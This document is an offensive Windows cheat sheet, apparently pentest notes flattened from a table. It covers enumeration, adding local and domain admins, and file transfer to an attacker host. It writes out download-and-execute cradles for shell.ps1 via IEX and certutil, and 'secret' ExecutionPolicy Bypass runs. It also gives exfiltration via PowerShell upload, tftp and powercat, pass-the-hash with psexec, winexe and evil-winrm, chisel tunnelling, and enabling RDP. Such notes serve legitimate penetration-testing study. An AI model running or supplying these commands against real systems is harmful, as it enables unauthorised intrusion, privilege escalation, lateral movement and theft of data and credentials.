show hostname |
hostname |
Restart |
shutdown -r -t 10 && exit
- && exit because an error message can pop up when initiating a restart with a shell
still
active.
|
List system-wide updates |
wmic qfe get Caption, Description, HotFixID, InstalledOn |
List version and architecture |
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" |
List version and architecture |
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" |
Enumerate drivers installed |
driverquery /v |
View statistics |
net statistics |
view current user |
whoami
echo %username%
|
See all user accounts |
net user |
More details about specific account |
net user <username> |
View domain users |
net user /domain |
View local administrators group |
net localgroup Administrators |
View groups |
net group |
Shows all groups on the domain |
net group /domain |
net accounts |
Check accounts info (password lockout, etc) |
Add user |
net user <username> <password> /add |
Add user to domain |
net user <username> <password> /add /domain |
Change password |
net user <username> <password> |
View users in a group |
net group "<Group Name>" |
Add user to a group |
net group <Group Name> <user> /add
net group <Group Name> <user> /add /domain
|
Make user a local admin |
net localgroup administrators <username> /add |
Give full control of file to user |
cacls <file> /t /e /p <user>:F - F = Full Control |
Remove access to file from user |
cacls <file> /r /e <user> |
Enumerate drivers |
Powershell - driverquery.exe /v /fo csv | ConvertFrom-CSV |
Select-Object‘DisplayName’, ‘Start Mode’, Path
|
Enumerate driver versions |
Powershell - Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName,DriverVersion,
Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"} |
Check operating system architecture |
[environment]::Is64BitOperatingSystem |
Check powershell session architecture |
[environment]::Is64BitProcess
64-bit powershell
- C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe
|
Check language mode (such as constrained, if being restricted by UAC) |
$ExecutionContext.SessionState.LanguageMode |
Environment variabels |
dir env: |
Get time & date |
Get-Date |
Powershell history |
C:\Users\<user>\appdata\roaming\microsoft\windows\powershell\psreadline\ConsoleHost_history.txt
|
Powershell location |
echo $PSHOME |
See available powershell commands |
Get-Command |
Read file content |
Get-Content <file name> gc <file name> |
Sort files by last write time |
dir | sort LastWriteTime |
Read new lines written to file |
Get-Content <file> -wait -tail <#>
Get-Content <file> -wait -tail <#> | Select-String -Pattern
"<pattern>"
|
Check file/folder permissions |
Get-ACL <file/folder> | Fl * |
View file contents |
(Get-Content <file>).substring(0,16) |
Search for file |
Get-ChildItem -Path V:\Myfolder -Filter CopyForbuild.bat -Recurse -ErrorAction
SilentlyContinue
-Force
|
Recursively show file names |
gci -recurse | select FullName |
Show only files |
gci -File |
Ignore errors |
-ErrorAction SilentlyContinue ErrorAction ignore |
Parse .lnk files |
$WScript = New-Object -ComObject WScript.Shell
$SC = Get-ChildItem *.lnk
$WScript.CreateShortcut($sc)
|
Secretly run scripts |
powershell.exe -ExecutionPolicy Bypass –NoLogo –NonInteractive –NoProfile
–File <file.ps1> |
enable colors |
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 |
dot-source / load all variables & functions from powershell script |
.\<script>.ps1
iex (New-Object
System.Net.Webclient).DownloadString('https://website.com/url/to/file.ps1')
|
Enable RDP |
Enable RDP service |
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server' -name "fDenyTSConnections" -value 0 |
Set firewall rules |
Enable-NetFirewallRule -DisplayGroup "Remote Desktop" |
Enable restricted admin RDP login |
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa'
-Name
'DisableRestrictedAdmin' -Value 0 -PropertyType DWORD |
|
Convert SecureString to PlainText |
[System.Net.NetworkCredential]::new("", $SecurePassword).Password |
Base64 Decoding |
powershell -e <base 64> |
Download file |
invoke-webrequest -Uri http://<ip address>/shell.exe [-OutFile <file>]
IWR -Uri <url> [-OutFile <file>]
|
Download file with Powershell |
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<ip
address>/wget.exe','C:\<output directory and file name>')
powershell "(new-object System.Net.WebClient).DownloadFile('http://<ip
address>/wget.exe','C:\<output directory and file name>')"
(new-object System.Net.WebClient).DownloadFile('http://<ip
address>/shell.ps1',<output directory and file name>')
wget <url> -outfile <file name>
|
Download file with cmd |
certutil -urlcache -split -f http://<ip address>/<file name> C:\\<output
directory
and file name> |
Download and run powershell script |
powershell -c "IEX(New-Object Net.WebClient).downloadString('http://<ip
address>/shell.ps1')"
powershell "IEX(New-Object Net.WebClient).downloadString('http://<ip
address>/shell.ps1')"
IEX(IWR http://<ip address>/shell.ps1 -UseBasicParsing)
IEX(IWR(<url>))
|
SMB |
Mount SMB share using powershell to new drive and using powershell credential object
Start SMB share on Kali |
impacket-smbserver <Share Name> <Directory of Share>
-smb2support
-user
<Username to connect to share> -password <Password to connect to
share>
Some machines do not work with smb2support. Other machines require it.
Credentials optional. Can skip next step if not used.
|
Create SMB Share Credential Variable |
$pass = ConvertTo-SecureString '<password>' -AsPlainText
-Force
$cred = New-Object
System.Management.Automation.PSCredential('<Username>',
$pass)
- If it is a domain account then:
- $cred = New-Object
System.Management.Automation.PSCredential('<Domain>\<Username>',
$pass)
- Verify $cred creation by echoing it
|
Connect to SMB Share From Windows |
New-PSDrive -Name <Drive Name for SMB Share> -PSProvider FileSystem
-Credential $cred -Root \\<ip of attacker>\<Share Name>
If accessing the same share from multiple shells on the same windows machine
it
works best to give them each different drive names (-Name <Name>)
|
Open SMB Share on Windows |
<Drive Name Assigned to SMB Share>: |
Mount SMB share using cmd and simple credentials
Create SMB Share |
sudo impacket-smbserver <Share Name> <Share Directory> -smb2support
-user
<username> -password <password> |
Connect to share |
net use \\<ip address>\<share name> /u:<username>
<password> net use x: \\<ip>\<share name> /u:<user>
<password> |
Open share |
cd \\<ip address>\<share name>\ |
Create SMB share using Linux's built-in SMB server
Create SMB Share (optional and self-explanatory parameters included) |
sudo vi /etc/samba/smb.conf
[share]
comment = My Share
browseable = yes
path = /srv/SMB
read only = no
guest ok = yes
writable = yes
create mask = 0777
|
Might need to give SMB permissions to share directory |
chmod 777 <smb share directory>
chmod 755 <smb share directory>
|
Start Share |
service smbd restart |
Troubleshoot by using smbclient and access the SMB directory on our machine and attempt
to
retrieve or upload files.
|
Upload with Powershell to Web Server |
Invoke-RestMethod -Method PUT -Uri "http://<ip address>:<port>/<file
name>" -Body $variable
powershell (New-Object System.Net.WebClient).UploadFile('http://<ip
address>/<file
name>', '<file name>')
|
Upload to tftp
- tftp is only on Windows until XP & 2003
|
Setup TFTP on Kali |
sudo apt install atftp |
Create tftp Directory |
sudo mkdir /tftp |
Set owner "nobody" on tftp Directory |
sudo chown nobody: /tftp |
Activate tftp server on port 69 |
sudo atftpd --daemon --port 69 /tftp |
Upload file from Windows to Linux |
tftp -i <ip address> put file.txt |
|
Base64 Encoding |
base64 w/ powershell |
$fc = Get-Content <file>
$fe = [System.Text.Encoding]::UTF8.GetBytes($fc)
[System.Convert]::ToBase64String($fe)
|
Read file with Kali |
echo -n <base64 text> | base64 -d |
|
Upload with powercat |
Set listener on receiving machine |
nc -lvnp <port #> > receiving_file.ps1 |
Send file with PowerCat |
powercat -c <ip address> -p <port #> -i C:\<Directory and file
name>
|
|
View user service permissions |
$acl = get-acl HKLM:\System\CurrentControlSet\Services
ConvertFrom-SddlString -Sddl $acl.Sddl -type RegistryRights | ForEach-Object
{$_.DiscretionaryAcl}
|
List services |
gci HKLM:\SYSTEM\CurrentControlSet\Services |
List started services |
cmd.exe /c wmic service where started=true get name, startname |
List services:
- Running as: SYSTEM
- Start/stop type: manual
|
Create list of all services |
$services = Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\*
|
Show all services owened by SYSTEM and start type is manual |
$services | where { ($_.ObjectName -match 'LocalSystem') -and
($_.Start
-match
'3') } |
Get list of services with only name, no details |
$names = $services.pschildname |
List all services owened by SYSTEM, start type manual, and we have permission to
start
|
$canStart = Foreach ($service in $names) { $sddl = (cmd /c sc sdshow $service);
if
($sddl -match "RP[A-Z]*?;;;AU") { $service }} |
|
List permissions for a service |
sc.exe sdshow <service>
ConvertFrom-SDDLString -Sddl "<output from sc.exe sdshow
<service>>" |
ForEach-Object {$_.DiscretionaryAcl}
How to read the permissions:
https://dimitri.janczak.net/2018/06/01/start-stop-service-rights-to-non-administrators/
|
Value |
Meaning |
0x00000000 |
This option allows the Consent Admin to perform an operation that requires elevation without
consent
or credentials. |
0x00000001 |
This option prompts the Consent Admin to enter his or her user name and password (or another
valid
admin) when an operation requires elevation of privilege. This operation occurs on the
secure
desktop.
|
0x00000002 |
This option prompts the administrator in Admin Approval Mode to select either
"Permit"
or
"Deny" an operation that requires elevation of privilege. If the Consent Admin
selects
Permit, the operation will continue with the highest available privilege. "Prompt for
consent" removes the inconvenience of requiring that users enter their name and
password to
perform a privileged task. This operation occurs on the secure desktop. |
0x00000003 |
This option prompts the Consent Admin to enter his or her user name and password (or that of
another
valid admin) when an operation requires elevation of privilege. |
0x00000004 |
This prompts the administrator in Admin Approval Mode to select either "Permit" or
"Deny" an operation that requires elevation of privilege. If the Consent Admin
selects
Permit, the operation will continue with the highest available privilege. "Prompt for
consent" removes the inconvenience of requiring that users enter their name and
password to
perform a privileged task.
|
0x00000005 |
This option is the default. It is used to prompt the administrator in Admin Approval Mode to
select
either "Permit" or "Deny" for an operation that requires elevation of
privilege
for any non-Windows binaries. If the Consent Admin selects Permit, the operation will
continue
with
the highest available privilege. This operation will happen on the secure desktop. |
impacket-psexec
- If user has ability to write to a SMB share
impacket-wmiexec uses same syntax
- wmiexec does not require writing to SMB
|
impacket-psexec <username>@<ip address> -hashes LM:NTLM
impacket-psexec <username>:<password>@<ip address>
impacket-psexec <username>@<ip address>
- Will prompt for password. Works when password has bad characters that are throwing
off
the
command.
|
Run powershell command as other user
|
Method 1 |
Start-Process -FilePath "powershell" -argumentlist
"IEX(New-Object
Net.WebClient).downloadString('http://<ip
address>/shell.ps1')"
-Credential $cred |
Method 2 |
Invoke-Command -ComputerName <computer name> -Credential $cred
-ScriptBlock
{whoami} |
Method 3 |
Powershell-Suite/Runas.ps1
Invoke-RunAs -User <username> -Password <password> -LogonType
<0x1 or
0x2> -Binary powershell.exe -Args <powershell command>
|
|
Pass the hash |
pth-winexe - Pass the hash
- Used to authenticate via the SMB protocol
- Example: pth-winexe –U <username>%<hash - Must be formatted
LM_Hash:NT_Hash> //<ip address> cmd
|
winexe - password
|
winexe -U '<username>%<password>' //<ip address> cmd.exe
winexe -U '<username>%<password>' --system //<ip address>
cmd.exe
|
evil-winrm |
evil-winrm -i <ip address> -u <user> -p <password>
evil-winrm -i <ip address> -u <user> -H <NTLM>
Forward winrm ports to localhost |
.\chisel.exe client <local/chisel ip>:<chisel server port>
R:5985:localhost:5985 R:5986:localhost:5986 |
|